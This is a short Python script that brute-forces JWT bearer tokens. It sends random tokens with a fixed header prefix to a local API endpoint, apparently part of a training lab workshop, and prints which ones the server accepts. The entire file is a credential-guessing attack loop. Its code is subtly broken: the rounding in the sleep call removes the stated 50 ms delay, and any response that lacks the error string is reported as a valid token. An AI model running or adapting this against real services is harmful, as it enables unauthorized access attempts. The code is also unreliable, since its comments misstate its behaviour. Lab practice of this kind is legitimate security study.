import random, requests, string, time

token_start = "eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ"
symbols = string.ascii_letters + string.digits + "_.-"
tries = 1000 # Choose a number at your convenience
wait_time = 50 # Number of ms to wait for before sending the next request

for _ in range(tries):
    key = token_start + ''.join(random.choice(symbols) for i in range(464-len(token_start)))
    headers = {'Authorization': f'Bearer {key}'}
    r = requests.get('http://localhost:8888/workshop/api/shop/products', headers = headers)
    if 'Invalid JWT Token!' in r.text:
        print(f"Token FAILED {key}")
        print(f"Code: {r.status_code} Message: {r.json()['message']}\n")
    else:
        print(f"Token OK! {key}")

    time.sleep(round(wait_time / 1000))

